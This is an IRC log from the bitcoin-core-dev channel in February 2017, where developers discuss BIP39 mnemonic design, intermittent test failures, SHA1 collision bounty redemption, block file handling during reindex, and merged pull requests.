1 2017-02-23T00:14:09  <jtimon> can we please just get rid of accounts for 0.15 ?
  2 2017-02-23T00:14:54  <luke-jr> ryanofsky: accounts don't have coins
  3 2017-02-23T00:15:10  <luke-jr> jtimon: IIRC there's still some things we lack substitutes for? dunno
  4 2017-02-23T00:15:46  <jtimon> not sure what the progress on that was, but I thought we were close
  5 2017-02-23T00:41:33  <jtimon> sorry for repeating the question, why are all these functions declared as extern? https://github.com/bitcoin/bitcoin/blob/master/src/rpc/server.h#L188
  6 2017-02-23T00:52:51  *** abpa has quit IRC
  7 2017-02-23T01:01:23  *** jannes has quit IRC
  8 2017-02-23T01:07:17  *** Giszmo has quit IRC
  9 2017-02-23T01:34:01  *** vicenteH has quit IRC
 10 2017-02-23T01:42:25  *** goksinen has quit IRC
 11 2017-02-23T01:48:49  *** goksinen has joined #bitcoin-core-dev
 12 2017-02-23T01:55:52  *** goksinen has quit IRC
 13 2017-02-23T01:56:17  *** fanquake has joined #bitcoin-core-dev
 14 2017-02-23T02:05:52  *** AaronvanW has quit IRC
 15 2017-02-23T02:14:04  *** jtimon has quit IRC
 16 2017-02-23T02:21:04  *** goksinen has joined #bitcoin-core-dev
 17 2017-02-23T02:24:01  *** Ylbam has quit IRC
 18 2017-02-23T02:25:47  *** MarcoFalke has quit IRC
 19 2017-02-23T02:25:48  *** goksinen has quit IRC
 20 2017-02-23T02:26:35  *** jtimon has joined #bitcoin-core-dev
 21 2017-02-23T02:43:22  *** goksinen has joined #bitcoin-core-dev
 22 2017-02-23T02:46:37  <jtimon> luke-jr: ok, sorry, it was -disablewallet, not wallet=0, right now, with that option, and with either -help or invalid args it says: error code: -32601 error message: Method not found, it could instead
 23 2017-02-23T02:49:28  *** jtimon has quit IRC
 24 2017-02-23T02:53:01  *** goksinen has quit IRC
 25 2017-02-23T03:07:13  *** justan0theruser has joined #bitcoin-core-dev
 26 2017-02-23T03:08:50  *** goksinen has joined #bitcoin-core-dev
 27 2017-02-23T03:09:40  *** justanotheruser has quit IRC
 28 2017-02-23T03:13:27  *** goksinen has quit IRC
 29 2017-02-23T03:19:30  *** goksinen has joined #bitcoin-core-dev
 30 2017-02-23T03:23:57  *** goksinen has quit IRC
 31 2017-02-23T03:36:22  *** goksinen has joined #bitcoin-core-dev
 32 2017-02-23T03:43:53  *** goksinen has joined #bitcoin-core-dev
 33 2017-02-23T03:51:32  *** goksinen_ has joined #bitcoin-core-dev
 34 2017-02-23T04:00:57  *** goksinen_ has quit IRC
 35 2017-02-23T04:14:22  *** goksinen has quit IRC
 36 2017-02-23T04:42:22  *** goksinen has joined #bitcoin-core-dev
 37 2017-02-23T04:46:57  *** goksinen has quit IRC
 38 2017-02-23T04:51:31  *** chris2000 has joined #bitcoin-core-dev
 39 2017-02-23T04:53:44  *** davec has quit IRC
 40 2017-02-23T04:54:31  *** chris200_ has quit IRC
 41 2017-02-23T04:55:23  *** davec has joined #bitcoin-core-dev
 42 2017-02-23T04:56:15  *** fanquake has quit IRC
 43 2017-02-23T05:00:09  *** dermoth has quit IRC
 44 2017-02-23T05:00:56  *** dermoth has joined #bitcoin-core-dev
 45 2017-02-23T05:05:42  *** chjj_ is now known as chjj
 46 2017-02-23T05:28:09  *** goksinen has joined #bitcoin-core-dev
 47 2017-02-23T05:32:41  *** goksinen has quit IRC
 48 2017-02-23T05:37:05  <luke-jr> https://github.com/iancoleman/bip39/issues/58
 49 2017-02-23T05:37:22  <luke-jr> not sure if it's a real problem or not yet, but some crypto experts may want to look (sipa, gmaxwell)
 50 2017-02-23T05:39:13  *** rafalcpp has quit IRC
 51 2017-02-23T05:52:54  *** fanquake has joined #bitcoin-core-dev
 52 2017-02-23T06:01:56  <bitcoin-git> [bitcoin] NicolasDorier opened pull request #9830: Add trusted flag to listunspent result (master...listunspenttrusted) https://github.com/bitcoin/bitcoin/pull/9830
 53 2017-02-23T06:10:24  *** goksinen has joined #bitcoin-core-dev
 54 2017-02-23T06:15:27  *** goksinen has quit IRC
 55 2017-02-23T06:18:35  *** goksinen has joined #bitcoin-core-dev
 56 2017-02-23T06:25:20  *** afk11 has quit IRC
 57 2017-02-23T06:26:01  *** afk11 has joined #bitcoin-core-dev
 58 2017-02-23T06:31:57  *** goksinen has quit IRC
 59 2017-02-23T06:33:44  <bitcoin-git> [bitcoin] theuni opened pull request #9831: build: force a c++ standard to be specified (master...no-default-std) https://github.com/bitcoin/bitcoin/pull/9831
 60 2017-02-23T06:42:39  *** ryankung has joined #bitcoin-core-dev
 61 2017-02-23T06:46:38  <midnightmagic> That feeler-connections PR is a very nice read.
 62 2017-02-23T06:50:26  <gmaxwell> luke-jr: crazy js code treating binary data as strings. :(
 63 2017-02-23T06:52:50  <luke-jr> >_<
 64 2017-02-23T06:57:37  <gmaxwell> should be recoverable at least... better than prior bitcoinjs / bn.js bugs.
 65 2017-02-23T06:59:51  *** goksinen has joined #bitcoin-core-dev
 66 2017-02-23T07:00:27  *** cannon-c has joined #bitcoin-core-dev
 67 2017-02-23T07:04:27  *** goksinen has quit IRC
 68 2017-02-23T07:05:53  <cannon-c> Does bitcoin core have bip39 for backing up wallet? Having trouble seeming to find it.
 69 2017-02-23T07:06:07  <cannon-c> If not, any objection to including bip39?
 70 2017-02-23T07:10:56  <gmaxwell> It is a terrible spec which shouldn't be implemented by anyone, in my opinion.
 71 2017-02-23T07:12:12  <gmaxwell> It forces the use of public derrivation which results in security issues when used with software that allows public key export. It has no versioning, so wallets cannot change the schemes without creating a potential for funds loss.  The 'check values' for it are optional and can't really be enforced for general compatiblity, which then also means that most uses of it end up unintentioally promot
 72 2017-02-23T07:12:18  <gmaxwell> ing insecure brainwallet usage.
 73 2017-02-23T07:12:44  <gmaxwell> The authors of the sepcification were uninterested in resolving these and other shortcomings, resulting in one of the authors having their name pulled from it.
 74 2017-02-23T07:13:22  <luke-jr> I thought BIP 39 didn't dictate anything re derivation?
 75 2017-02-23T07:14:05  <cannon-c> what is "public derrivation"?
 76 2017-02-23T07:14:25  * luke-jr observes people are actually using https://github.com/bitcoin/bips/wiki/Comments:BIP-0039
 77 2017-02-23T07:15:01  <cannon-c> I thought bip39 was just using dictionary wordlist in 2048 length list to convert 256 bit entropy to human readable words (256bit being 24 words)
 78 2017-02-23T07:15:54  <gmaxwell> indeed you're right it's BIP 44 that does but it doesn't matter because the lack of versioning means that you're stuck with the defacto standard.
 79 2017-02-23T07:16:51  <cannon-c> I do like idea of words for backup, I can write down backup on paper using words instead of key that is prone to misspelling and funds lost.
 80 2017-02-23T07:17:03  <cannon-c> gmaxwell what do you prefer above word based mnemonic then?
 81 2017-02-23T07:18:55  <gmaxwell> words are fine, but should be a scheme that can encode versioning and bidirectionally convert.
 82 2017-02-23T07:19:23  *** lclc has joined #bitcoin-core-dev
 83 2017-02-23T07:20:09  * luke-jr wonders if Electrum's scheme is saner, considering they had similar criticism of BIP 39
 84 2017-02-23T07:20:34  *** goksinen has joined #bitcoin-core-dev
 85 2017-02-23T07:20:57  <cannon-c> If I udnerstand correctly, Electrum's scheme even if dictionary is lost can still recover direct from words themselves?
 86 2017-02-23T07:21:19  <cannon-c> Just something I heard, not familiar with Electrum's scheme though.
 87 2017-02-23T07:23:24  <bitcoin-git> [bitcoin] NicolasDorier opened pull request #9832: [qa] assert_start_raises_init_error (master...assert_start_raises_init_error) https://github.com/bitcoin/bitcoin/pull/9832
 88 2017-02-23T07:24:57  *** goksinen has quit IRC
 89 2017-02-23T07:34:47  *** city22 has joined #bitcoin-core-dev
 90 2017-02-23T07:37:49  <wumpus> what's up with travis?  https://github.com/bitcoin/bitcoin/issues/9825   How can there be a threading error *before* the tests of test_bitcoin even start?
 91 2017-02-23T07:38:30  <wumpus> errors such as "test_bitcoin: tpp.c:62: __pthread_tpp_change_priority: Assertion `new_prio == -1 || (new_prio >= __sched_fifo_min_prio && new_prio <= __sched_fifo_max_prio)' failed."
 92 2017-02-23T07:38:59  <wumpus> and "../include/boost/thread/pthread/recursive_mutex.hpp:113: void boost::recursive_mutex::lock(): Assertion `!pthread_mutex_lock(&m)' failed."
 93 2017-02-23T07:40:12  <wumpus> sounds like locking is being done before locking is initialized, e.g. before we even get to main()?
 94 2017-02-23T07:40:52  <bitcoin-git> [bitcoin] benma opened pull request #9833: Trivial: fix comments referencing AppInit2 (master...stalecomments) https://github.com/bitcoin/bitcoin/pull/9833
 95 2017-02-23T07:45:33  *** BashCo has quit IRC
 96 2017-02-23T07:50:42  <jonasschnelli> wumpus: you think this is a travis issue or did we break the context initialisation in some way?
 97 2017-02-23T07:51:06  <wumpus> I don't think it's a travis issue, but I can't (which is always terribly frustrating with these issues) reproduce it locally
 98 2017-02-23T07:51:26  <wumpus> but yes it's probably something we do differently in our code now
 99 2017-02-23T07:51:38  *** udiWertheimer has quit IRC
100 2017-02-23T07:52:33  *** city22 has quit IRC
101 2017-02-23T07:52:34  *** goksinen has joined #bitcoin-core-dev
102 2017-02-23T07:52:34  *** chris2000 has quit IRC
103 2017-02-23T07:52:36  <wumpus> current master simply passes https://travis-ci.org/bitcoin/bitcoin/builds/204167316 - so it's intermittent
104 2017-02-23T07:53:19  <jonasschnelli> wumpus: we recently changes something close to that,,,
105 2017-02-23T07:53:27  <jonasschnelli> the missing bitcoin-tx ECC_Start()
106 2017-02-23T07:53:33  <jonasschnelli> Not sure if this is related
107 2017-02-23T07:53:46  <wumpus> unknown location(0): fatal error: in "rpc_tests/rpc_rawsign": signal: illegal operand; address of failing instruction: 0x2b73cbf4cf3b
108 2017-02-23T07:53:49  <wumpus> WAT??
109 2017-02-23T07:54:35  <jonasschnelli> :/
110 2017-02-23T07:55:08  <midnightmagic> I wonder if it would be worthwhile to include a "legal participation" flag of some sort.. so that people who use the services provided by your bitcoin node must agree to the EULA of your node, in order to use it.
111 2017-02-23T07:55:55  <wumpus> jonasschnelli: yes, might be related, I don't know. Although I think the test setup happens after the "Running 228 test cases...", not before it
112 2017-02-23T07:56:02  <wumpus> not sure tho
113 2017-02-23T07:56:30  <wumpus> midnightmagic: you could include a url in your subversion
114 2017-02-23T07:56:57  *** goksinen has quit IRC
115 2017-02-23T07:57:12  <wumpus> (though it's a bit challenging with all those characters sanitized out :-)
116 2017-02-23T07:57:18  <midnightmagic> Then, technically, mass-sybil'ing could be prosecuted if the sybils didn't disconnect immediately and refuse to connect again.
117 2017-02-23T07:58:00  <wumpus> depending on your country you can set any terms of use when you run a service
118 2017-02-23T08:00:35  *** norotartagen has quit IRC
119 2017-02-23T08:00:56  <midnightmagic> auto-EULA might not be strong enough.
120 2017-02-23T08:01:50  <wumpus> so you imagine something where you have to read an EULA and click for every node you connect to?
121 2017-02-23T08:02:05  <wumpus> uhm, no, I'll pass
122 2017-02-23T08:02:12  *** norotartagen has joined #bitcoin-core-dev
123 2017-02-23T08:02:50  <gmaxwell> midnightmagic: proposed previously was an alternative protocol for transaction relay that has standard requirements like that as just part of the protocol spec.
124 2017-02-23T08:03:03  <gmaxwell> midnightmagic: anyone is free to create such a thing.
125 2017-02-23T08:03:20  *** BashCo has joined #bitcoin-core-dev
126 2017-02-23T08:03:22  <midnightmagic> well, triangulation of an idea is nice to hear anyway.
127 2017-02-23T08:03:31  <gmaxwell> Because so much of the abusive behavior we can detect is commercially motivated-- its an intresting question.
128 2017-02-23T08:03:56  <midnightmagic> commercial motivation implies pockets, and corporation behavioural laws.
129 2017-02-23T08:04:02  <wumpus> yes, separating transaction submission/relay would make sense
130 2017-02-23T08:04:08  <gmaxwell> But it's not something that would make sense as the general Bitcoin protocol I think. Or at least it would be too easily trolled. But people are free to try it out and I hope they do.
131 2017-02-23T08:04:11  <wumpus> that's the only thing people care to spy on anyway
132 2017-02-23T08:04:26  <wumpus> for relaying blocks, it doesn't matter nearly as much
133 2017-02-23T08:05:27  <midnightmagic> I was thinking just connecting at all. I wonder if it would devolve into horros e.g. to authorize your client to agree to EULA semi-automatically on your behalf based on acceptable terms.
134 2017-02-23T08:06:12  <gmaxwell> midnightmagic: I think it only makes sense if the terms are basically just part of the protocol.
135 2017-02-23T08:06:59  <midnightmagic> hrm.
136 2017-02-23T08:07:39  <wumpus> making it harder to spy on transactions by using onion routing / some kind of deaddrop system, would do a lot against spying
137 2017-02-23T08:07:54  <wumpus> better than getting involved inthe vagaries of international law
138 2017-02-23T08:13:17  *** goksinen has joined #bitcoin-core-dev
139 2017-02-23T08:17:57  *** goksinen has quit IRC
140 2017-02-23T08:18:23  <wumpus> what are the exact specifications of the travis VMs?
141 2017-02-23T08:19:33  <wumpus> ubuntu trusty at least, will try with that locally
142 2017-02-23T08:25:17  <bitcoin-git> [bitcoin] benma opened pull request #9834: qt: clean up initialize/shutdown signals (master...exitcode) https://github.com/bitcoin/bitcoin/pull/9834
143 2017-02-23T08:44:09  *** goksinen has joined #bitcoin-core-dev
144 2017-02-23T08:46:17  <wumpus> of course, it all passes perfectly in my own trusty vm...
145 2017-02-23T08:47:21  <gmaxwell> make your vm slower? :P
146 2017-02-23T08:48:27  *** goksinen has quit IRC
147 2017-02-23T08:48:53  <wumpus> I guess running a few instances of test_bitcoin in parallel could simulate that
148 2017-02-23T08:54:12  <wumpus> looks like test_bitcoin doesn't clean up its UUID directories (/tmp/92bc-0a4a-f496-6b40)
149 2017-02-23T08:54:35  <wumpus> while the /tmp/test_bitcoin_1487840020_6012 are being cleaned up
150 2017-02-23T08:55:55  <wumpus> (yes, the tests finish succesfully)
151 2017-02-23T09:02:00  *** chjj has quit IRC
152 2017-02-23T09:11:46  *** Ylbam has joined #bitcoin-core-dev
153 2017-02-23T09:15:23  *** goksinen has joined #bitcoin-core-dev
154 2017-02-23T09:19:57  *** goksinen has quit IRC
155 2017-02-23T09:35:35  *** ryankung has quit IRC
156 2017-02-23T09:39:12  <bitcoin-git> [bitcoin] laanwj pushed 2 new commits to master: https://github.com/bitcoin/bitcoin/compare/bed5b30a5622...d14555de3de9
157 2017-02-23T09:39:13  <bitcoin-git> bitcoin/master 874c736 Russell Yanofsky: Fix pruning test broken by 2 hour manual prune window...
158 2017-02-23T09:39:13  <bitcoin-git> bitcoin/master d14555d Wladimir J. van der Laan: Merge #9820: Fix pruning test broken by 2 hour manual prune window...
159 2017-02-23T09:39:32  <bitcoin-git> [bitcoin] laanwj closed pull request #9820: Fix pruning test broken by 2 hour manual prune window (master...pr/prunewind) https://github.com/bitcoin/bitcoin/pull/9820
160 2017-02-23T09:39:52  <bitcoin-git> [bitcoin] laanwj pushed 1 new commit to 0.14: https://github.com/bitcoin/bitcoin/commit/599c69abe3101512eeee13733c0f58eb3e363eae
161 2017-02-23T09:39:53  <bitcoin-git> bitcoin/0.14 599c69a Russell Yanofsky: Fix pruning test broken by 2 hour manual prune window...
162 2017-02-23T09:41:06  <bitcoin-git> [bitcoin] laanwj pushed 2 new commits to master: https://github.com/bitcoin/bitcoin/compare/d14555de3de9...1d2a57e9fd2c
163 2017-02-23T09:41:06  <bitcoin-git> bitcoin/master fa4cd2e MarcoFalke: qa: Check return code when stopping nodes...
164 2017-02-23T09:41:07  <bitcoin-git> bitcoin/master 1d2a57e Wladimir J. van der Laan: Merge #9824: qa: Check return code when stopping nodes...
165 2017-02-23T09:41:22  <bitcoin-git> [bitcoin] laanwj pushed 1 new commit to 0.14: https://github.com/bitcoin/bitcoin/commit/260c71cbb857d12540a2f53372282d11f2b401a8
166 2017-02-23T09:41:23  <bitcoin-git> bitcoin/0.14 260c71c MarcoFalke: qa: Check return code when stopping nodes...
167 2017-02-23T09:41:31  <bitcoin-git> [bitcoin] laanwj closed pull request #9824: qa: Check return code when stopping nodes (master...Mf1702-qaRet) https://github.com/bitcoin/bitcoin/pull/9824
168 2017-02-23T09:47:18  *** goksinen has joined #bitcoin-core-dev
169 2017-02-23T09:49:09  <bitcoin-git> [bitcoin] laanwj pushed 3 new commits to master: https://github.com/bitcoin/bitcoin/compare/1d2a57e9fd2c...e68c266f3d56
170 2017-02-23T09:49:10  <bitcoin-git> bitcoin/master b602fe0 Cory Fields: build: warn about variable length arrays
171 2017-02-23T09:49:10  <bitcoin-git> bitcoin/master 205830a Cory Fields: build: add --enable-werror option...
172 2017-02-23T09:49:11  <bitcoin-git> bitcoin/master e68c266 Wladimir J. van der Laan: Merge #9789: build: add --enable-werror and warn on vla's...
173 2017-02-23T09:49:29  <bitcoin-git> [bitcoin] laanwj closed pull request #9789: build: add --enable-werror and warn on vla's (master...no-vla) https://github.com/bitcoin/bitcoin/pull/9789
174 2017-02-23T09:49:44  <bitcoin-git> [bitcoin] laanwj pushed 2 new commits to 0.14: https://github.com/bitcoin/bitcoin/compare/260c71cbb857...05e906dbc68e
175 2017-02-23T09:49:44  <bitcoin-git> bitcoin/0.14 749fe95 Cory Fields: build: warn about variable length arrays...
176 2017-02-23T09:49:45  <bitcoin-git> bitcoin/0.14 05e906d Cory Fields: build: add --enable-werror option...
177 2017-02-23T09:51:57  *** goksinen has quit IRC
178 2017-02-23T09:55:22  *** Alina-malina has quit IRC
179 2017-02-23T09:56:53  *** rafalcpp has joined #bitcoin-core-dev
180 2017-02-23T10:03:51  *** vicenteH has joined #bitcoin-core-dev
181 2017-02-23T10:08:21  *** vicenteH has quit IRC
182 2017-02-23T10:10:44  *** vicenteH has joined #bitcoin-core-dev
183 2017-02-23T10:18:23  *** goksinen has joined #bitcoin-core-dev
184 2017-02-23T10:20:24  *** chjj has joined #bitcoin-core-dev
185 2017-02-23T10:22:57  *** goksinen has quit IRC
186 2017-02-23T11:01:14  *** BashCo has quit IRC
187 2017-02-23T11:08:28  *** lclc has quit IRC
188 2017-02-23T11:09:21  *** BashCo has joined #bitcoin-core-dev
189 2017-02-23T11:15:59  *** MarcoFalke has joined #bitcoin-core-dev
190 2017-02-23T11:22:37  <wumpus> I've been running test_bitcoin with five threads, for three hours on a trusty VM - no single failure
191 2017-02-23T11:46:48  *** lclc has joined #bitcoin-core-dev
192 2017-02-23T11:48:32  *** chjj has quit IRC
193 2017-02-23T12:16:43  *** AaronvanW has joined #bitcoin-core-dev
194 2017-02-23T12:19:05  *** goksinen has joined #bitcoin-core-dev
195 2017-02-23T12:23:27  *** goksinen has quit IRC
196 2017-02-23T12:40:37  <warren> Hmm, the blk*.dat files exported by linearize-data.py is slightly modified by bitcoind if you drop them in your blocks/ directory.  http://pastebin.com/PH99QYdm   diff of two hexdumps shows a tiny bit at the end of each file is truncated.
197 2017-02-23T12:49:54  *** goksinen has joined #bitcoin-core-dev
198 2017-02-23T12:54:27  *** goksinen has quit IRC
199 2017-02-23T13:21:50  *** goksinen has joined #bitcoin-core-dev
200 2017-02-23T13:26:27  *** goksinen has quit IRC
201 2017-02-23T13:34:52  *** BashCo has quit IRC
202 2017-02-23T13:35:32  *** BashCo has joined #bitcoin-core-dev
203 2017-02-23T13:38:50  *** goksinen has joined #bitcoin-core-dev
204 2017-02-23T13:38:57  <wumpus> warren: hm that;s a bug
205 2017-02-23T13:39:20  <wumpus> only the last blk.dat file should be modified
206 2017-02-23T13:39:45  <wumpus> oh, of course, it scans them again from the beginning, so every file is 'last file' for a while
207 2017-02-23T13:40:20  <wumpus> so the truncating behavior makes some sense - don't think it necessarily needs to do that during reindexing, but it's not unexpected
208 2017-02-23T13:41:24  <wumpus> this is different from the bootstrap.dat file which was really an external file which was imported
209 2017-02-23T13:49:27  *** goksinen has quit IRC
210 2017-02-23T14:05:53  *** goksinen has joined #bitcoin-core-dev
211 2017-02-23T14:06:42  *** goksinen has quit IRC
212 2017-02-23T14:07:13  *** goksinen has joined #bitcoin-core-dev
213 2017-02-23T14:08:40  *** goksinen_ has joined #bitcoin-core-dev
214 2017-02-23T14:11:22  *** cannon-c has quit IRC
215 2017-02-23T14:12:57  *** goksinen_ has quit IRC
216 2017-02-23T14:14:12  *** nickler has quit IRC
217 2017-02-23T14:20:14  *** goksinen_ has joined #bitcoin-core-dev
218 2017-02-23T14:22:25  *** goksinen has quit IRC
219 2017-02-23T14:26:30  *** nickler has joined #bitcoin-core-dev
220 2017-02-23T14:29:22  *** goksinen has joined #bitcoin-core-dev
221 2017-02-23T14:33:20  *** jnewbery_ has joined #bitcoin-core-dev
222 2017-02-23T14:35:57  *** goksinen has quit IRC
223 2017-02-23T14:43:01  *** Guyver2 has joined #bitcoin-core-dev
224 2017-02-23T14:50:19  *** PaulCapestany has joined #bitcoin-core-dev
225 2017-02-23T15:03:03  *** goksinen has joined #bitcoin-core-dev
226 2017-02-23T15:07:27  *** goksinen has quit IRC
227 2017-02-23T15:08:39  *** city22 has joined #bitcoin-core-dev
228 2017-02-23T15:09:15  *** city22 has quit IRC
229 2017-02-23T15:16:43  *** goksinen has joined #bitcoin-core-dev
230 2017-02-23T15:21:27  *** goksinen has quit IRC
231 2017-02-23T15:23:12  *** Chris_Stewart_5 has quit IRC
232 2017-02-23T15:27:05  *** goksinen has joined #bitcoin-core-dev
233 2017-02-23T15:29:54  *** Chris_Stewart_5 has joined #bitcoin-core-dev
234 2017-02-23T15:35:06  <bitcoin-git> [bitcoin] MarcoFalke pushed 2 new commits to master: https://github.com/bitcoin/bitcoin/compare/e68c266f3d56...7146d96de3e1
235 2017-02-23T15:35:06  <bitcoin-git> bitcoin/master c578408 John Newbery: Add exclude option to rpc-tests.py
236 2017-02-23T15:35:07  <bitcoin-git> bitcoin/master 7146d96 MarcoFalke: Merge #9766: Add --exclude option to rpc-tests.py...
237 2017-02-23T15:35:31  <bitcoin-git> [bitcoin] MarcoFalke closed pull request #9766: Add --exclude option to rpc-tests.py (master...rpctestexclude) https://github.com/bitcoin/bitcoin/pull/9766
238 2017-02-23T15:38:03  *** Giszmo has joined #bitcoin-core-dev
239 2017-02-23T15:40:18  <bitcoin-git> [bitcoin] MarcoFalke pushed 2 new commits to master: https://github.com/bitcoin/bitcoin/compare/7146d96de3e1...d6064a89ac97
240 2017-02-23T15:40:19  <bitcoin-git> bitcoin/master 3f95a80 John Newbery: Fix docstrings in qa tests...
241 2017-02-23T15:40:19  <bitcoin-git> bitcoin/master d6064a8 MarcoFalke: Merge #9577: Fix docstrings in qa tests...
242 2017-02-23T15:40:33  <bitcoin-git> [bitcoin] MarcoFalke closed pull request #9577: Fix docstrings in qa tests (master...docstrings) https://github.com/bitcoin/bitcoin/pull/9577
243 2017-02-23T15:40:47  <MarcoFalke> Great work on the test framework jnewbery!
244 2017-02-23T15:41:12  <jnewbery> Thanks MarcoFalke!
245 2017-02-23T15:46:11  *** Giszmo has quit IRC
246 2017-02-23T15:46:54  *** Giszmo has joined #bitcoin-core-dev
247 2017-02-23T15:55:31  *** laurentmt has joined #bitcoin-core-dev
248 2017-02-23T16:02:29  *** laurentmt has quit IRC
249 2017-02-23T16:15:02  *** BashCo has quit IRC
250 2017-02-23T16:15:37  *** BashCo has joined #bitcoin-core-dev
251 2017-02-23T16:20:12  *** BashCo has quit IRC
252 2017-02-23T16:34:18  *** BashCo has joined #bitcoin-core-dev
253 2017-02-23T16:37:00  <bitcoin-git> [bitcoin] MarcoFalke pushed 2 new commits to master: https://github.com/bitcoin/bitcoin/compare/d6064a89ac97...a13a417cdcfd
254 2017-02-23T16:37:00  <bitcoin-git> bitcoin/master 3333ad0 MarcoFalke: qa: Set correct path for binaries in rpc tests
255 2017-02-23T16:37:01  <bitcoin-git> bitcoin/master a13a417 MarcoFalke: Merge #9823: qa: Set correct path for binaries in rpc tests...
256 2017-02-23T16:37:20  <bitcoin-git> [bitcoin] MarcoFalke closed pull request #9823: qa: Set correct path for binaries in rpc tests (master...Mf1702-qaPath) https://github.com/bitcoin/bitcoin/pull/9823
257 2017-02-23T16:37:35  *** kyletorpey has joined #bitcoin-core-dev
258 2017-02-23T16:38:04  *** kyletorpey has left #bitcoin-core-dev
259 2017-02-23T16:47:33  *** chjj has joined #bitcoin-core-dev
260 2017-02-23T16:50:23  *** abpa has joined #bitcoin-core-dev
261 2017-02-23T16:57:21  <bitcoin-git> [bitcoin] DannyHamilton opened pull request #9838: Update COPYING (master...patch-1) https://github.com/bitcoin/bitcoin/pull/9838
262 2017-02-23T16:58:46  <bitcoin-git> [bitcoin] MarcoFalke closed pull request #9838: Update COPYING (master...patch-1) https://github.com/bitcoin/bitcoin/pull/9838
263 2017-02-23T17:01:29  <gmaxwell> https://tradeblock.com/bitcoin/tx/8d31992805518fd62daa3bdd2a5c4fd2cd3054c9b3dca1d78055e9528cff6adc > sha1 bounty redeemed.
264 2017-02-23T17:03:44  <jouke_> :)
265 2017-02-23T17:07:41  <BlueMatt> gmaxwell: is that a second sha1 collision, then?
266 2017-02-23T17:10:11  <BlueMatt> gmaxwell: indeed, a second sha1 collision
267 2017-02-23T17:11:04  <gmaxwell> smartbits is much nicer in its display: https://www.smartbit.com.au/tx/8d31992805518fd62daa3bdd2a5c4fd2cd3054c9b3dca1d78055e9528cff6adc
268 2017-02-23T17:12:07  <BlueMatt> gmaxwell: oh, nvm, same sha1 collision
269 2017-02-23T17:12:37  <BlueMatt> same prefix, just dropped the postfix
270 2017-02-23T17:20:32  <Chris_Stewart_5> all of the inputs on that tx correspond to outputs that had SHA1 bounties?
271 2017-02-23T17:23:26  <gmaxwell> Yes.
272 2017-02-23T17:32:18  *** niska has quit IRC
273 2017-02-23T17:39:56  *** atroxes has quit IRC
274 2017-02-23T17:41:13  *** atroxes has joined #bitcoin-core-dev
275 2017-02-23T17:55:58  *** niska has joined #bitcoin-core-dev
276 2017-02-23T17:57:58  *** goksinen has quit IRC
277 2017-02-23T17:59:58  *** goksinen has joined #bitcoin-core-dev
278 2017-02-23T18:03:50  <warren> wumpus: I'd like behavior where during -reindex it can handle any existing blk*.dat files to be read-only, do not truncate during scan, and create new after it scanned whatever already exists there. That way I can hardlink shared files between multiple full archival node instances on the same machine.
279 2017-02-23T18:04:02  <bitcoin-git> [bitcoin] laanwj pushed 2 new commits to master: https://github.com/bitcoin/bitcoin/compare/a13a417cdcfd...692c9eddba67
280 2017-02-23T18:04:03  <bitcoin-git> bitcoin/master 9829c54 Cory Fields: build: force a c++ standard to be specified...
281 2017-02-23T18:04:06  <bitcoin-git> bitcoin/master 692c9ed Wladimir J. van der Laan: Merge #9831: build: force a c++ standard to be specified...
282 2017-02-23T18:04:22  <bitcoin-git> [bitcoin] laanwj closed pull request #9831: build: force a c++ standard to be specified (master...no-default-std) https://github.com/bitcoin/bitcoin/pull/9831
283 2017-02-23T18:04:44  <wumpus> warren: heh yes, hardlinking block files works as long as you don't reindex, apparently
284 2017-02-23T18:05:07  <wumpus> warren: I tend to hardlink both the block/utxo database files and the block files, so have never noticed that
285 2017-02-23T18:05:52  <wumpus> warren: though: truncating the files to not contain any zero space at the end shouldn't affect any other users
286 2017-02-23T18:05:57  <warren> which are the "block/utxo database files"
287 2017-02-23T18:06:27  <wumpus> the ldb files: https://gist.github.com/laanwj/3c4614a23e072cbb3d39090da1834a68
288 2017-02-23T18:07:31  <warren> wumpus: currently during *any* startup it fails if it cannot open a blk*.dat file writable, which is unnecessary.  If they can be read it should be adequate as long as new blk.dat files can be written after the read-only files.
289 2017-02-23T18:07:47  <bitcoin-git> [bitcoin] laanwj pushed 1 new commit to 0.14: https://github.com/bitcoin/bitcoin/commit/99fd85cb44fe9983c64cfa376299e67b18568304
290 2017-02-23T18:07:47  <bitcoin-git> bitcoin/0.14 99fd85c Cory Fields: build: force a c++ standard to be specified...
291 2017-02-23T18:07:48  <wumpus> I agree, but that's not the case right now
292 2017-02-23T18:07:59  <gmaxwell> wumpus: sounds like a trivial change to make it not open them writable.
293 2017-02-23T18:08:03  <gmaxwell> er warren
294 2017-02-23T18:08:39  <sipa> we could mark files in the block index as unwritable as well
295 2017-02-23T18:09:05  <sipa> and then skip them when looking for files to append new blocks to
296 2017-02-23T18:09:17  <wumpus> I remember luke-jr has an issue open about this https://github.com/bitcoin/bitcoin/issues/2039
297 2017-02-23T18:09:24  <warren> I know.  currently it goes through a generic abstraction to open files
298 2017-02-23T18:09:54  *** lclc has quit IRC
299 2017-02-23T18:10:12  <wumpus> sipa: the problem in this case is not appending, but truncating. But yeah that'd help too
300 2017-02-23T18:10:19  *** rndguy has joined #bitcoin-core-dev
301 2017-02-23T18:11:02  <wumpus> I like how pruning at least works with hardlinked block files, by pruning a block file at a time instead of messing with the contents
302 2017-02-23T18:11:21  <warren> fopen failing on read-only and truncation are two related problems, following by marking which files should be not writable.  Anything else?
303 2017-02-23T18:11:44  *** MarcoFalke has quit IRC
304 2017-02-23T18:12:21  <warren> where should that read-only marking be written?
305 2017-02-23T18:12:37  <wumpus> in the block index db
306 2017-02-23T18:19:25  <bitcoin-git> [bitcoin] ryanofsky opened pull request #9839: [qa] Make import-rescan.py watchonly check reliable (master...pr/travis-rescan) https://github.com/bitcoin/bitcoin/pull/9839
307 2017-02-23T18:29:41  *** mturquette has quit IRC
308 2017-02-23T18:31:24  *** mturquette has joined #bitcoin-core-dev
309 2017-02-23T18:32:31  *** Sosumi has joined #bitcoin-core-dev
310 2017-02-23T18:43:41  *** jnewbery_ has quit IRC
311 2017-02-23T18:43:41  *** jnewbery has quit IRC
312 2017-02-23T18:49:04  *** laurentmt has joined #bitcoin-core-dev
313 2017-02-23T18:49:05  <wumpus> almost time to tag rc2?
314 2017-02-23T18:49:20  <wumpus> well I guess it can wait until the meeting :)
315 2017-02-23T18:49:24  <bitcoin-git> [bitcoin] ryanofsky opened pull request #9840: Update sendfrom RPC help to correct coin selection misconception (master...pr/fromacct) https://github.com/bitcoin/bitcoin/pull/9840
316 2017-02-23T18:49:41  <BlueMatt> heh
317 2017-02-23T18:49:44  <BlueMatt> wumpus: i think so
318 2017-02-23T18:52:10  <BlueMatt> cfields: where are we on #9787
